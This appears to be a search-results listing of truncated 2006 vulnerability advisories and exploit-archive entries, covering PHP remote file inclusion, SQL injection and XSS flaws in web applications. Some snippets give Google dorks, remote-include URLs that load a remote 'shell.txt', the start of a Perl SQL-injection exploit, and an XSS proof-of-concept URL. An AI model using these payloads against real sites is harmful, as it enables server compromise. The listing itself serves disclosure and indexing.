9394 matches found
[Full-disclosure] DotNetNuke HTML Code Injection
Security Advisory: VULN20-09-2006 - http://www.secureshapes.com/advisories/vuln20-09-2006.htm Vendor Security Bulletin: http://dotnetnuke.com/About/WhatIsDotNetNuke/SecurityPolicy/SecurityBulletin no3/tabid/990/Default.aspx DotNetNuke - HTML Code Injection Vulnerability Date: 20/09/2006 Severity:...
CVE-2006-4864
PHP remote file inclusion vulnerability in index.php in All Enthusiast ReviewPost 2.5 allows remote attackers to execute arbitrary PHP code via a URL in the RPPATH parameter...
CVE-2006-4864
The CVE-2006-4864 vulnerability affects All Enthusiast’s ReviewPost 2.5, where index.php allows a remote attacker to execute arbitrary PHP code via a URL in the RP_PATH parameter (a remote file inclusion issue). The referenced PT-2006-5618 entry confirms the vulnerable software/version and descri...
CVE-2006-4864
PHP remote file inclusion vulnerability in index.php in All Enthusiast ReviewPost 2.5 allows remote attackers to execute arbitrary PHP code via a URL in the RPPATH parameter...
PT-2006-5618 · All Enthusiast · Reviewpost
Name of the Vulnerable Software and Affected Versions: All Enthusiast ReviewPost version 2.5 Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the RP PATH parameter in the index.php file. Recommendations: For All Enthusiast ReviewPost version 2.5, consider...
CVE-2006-4864: Undefined Security Weakness
PHP remote file inclusion vulnerability in index.php in All Enthusiast ReviewPost 2.5 allows remote attackers to execute arbitrary PHP code via a URL in the RPPATH parameter...
Somery 0.4.6 - 'skin_dir' Remote File Inclusion
Update: 16:01 09/08/06 Subject: "Somery 0.4skindirRemote File Inclusion Exploit" Vulnerable version: Somery 0.4.6 Operating System: - All OS Vendor URL: Robin de Graaf - [email protected] Somery website - http://somery.danwa.net Description: Somery, also known as the Somery weblogging system...
web3news095rfi.txt
============================================================================================== Web3news Vendor site DOrk : allinurl : /web3news/ ================================================================================================ Discoverd By : SHiKaA Conatact : SHiKaA-athotmail.com...
Web3news 0.95 - 'PHPSECURITYADMIN_PATH' Remote File Inclusion
============================================================================================== Web3news Vendor site DOrk : allinurl : /web3news/ ================================================================================================ Discoverd By : SHiKaA Conatact : SHiKaA-athotmail.com...
Web3news 0.95 - PHPSECURITYADMIN_PATH Remote File Inclusion
Web3news 0.95 - PHPSECURITYADMINPATH Remote File Inclusion ============================================================================================== Web3news Vendor site DOrk : allinurl : /web3news/ =========================...
CVE-2006-4367
The CVE-2006-4367 issue affects phpBB 2.0.21 with the All Topics Hack 1.5.0 and earlier, where alltopics.php is vulnerable to SQL injection via the start parameter. The underlying cause is an insecure handling of the start input, enabling an attacker to manipulate SQL execution remotely. Public r...
CVE-2006-4367
SQL injection vulnerability in alltopics.php in the All Topics Hack 1.5.0 and earlier for phpBB 2.0.21 allows remote attackers to execute arbitrary SQL commands via the start parameter...
CVE-2006-4367: Undefined Security Weakness
SQL injection vulnerability in alltopics.php in the All Topics Hack 1.5.0 and earlier for phpBB 2.0.21 allows remote attackers to execute arbitrary SQL commands via the start parameter...
phpBB All Topics Mod 1.5.0 - 'start' SQL Injection
!/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID = Number: = ; $user = ; chop $user; if !$ARGV2...
phpBB All Topics Mod 1.5.0 - start SQL Injection
phpBB All Topics Mod 1.5.0 - start SQL Injection !/usr/bin/perl print q / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ ForumZ Security | | Insert URL = without http = ; $server = ; chop $server; print q = Insert directory = es: /forum/ - /phpBB2/ = ; $dir = ; chop $dir; print q = User ID =...
artlinks.txt
artlinks Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : artlinks Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"comartlinks" http://www.site.com/components/comartlinks/artlinks.dispnew.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...
mambatstaff.txt
mambatstaff Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : mambatstaff Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"commambatstaff" http://www.site.com/components/commambatstaff/mambatstaff.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...
PHP iCalendar Cross Site Scripting
K.S Advisory irc.gigachat.net kurdhack Thanx : Netqurd,Azad,B3g0k,Fearless,Milex,Flot,ZayBoy,PH,KHA,KCA and other my friends Version : All Version Proof Of Concept : http://www.site.com/phpicalendar/rss/index.php?cal=XSS Original Advisory :...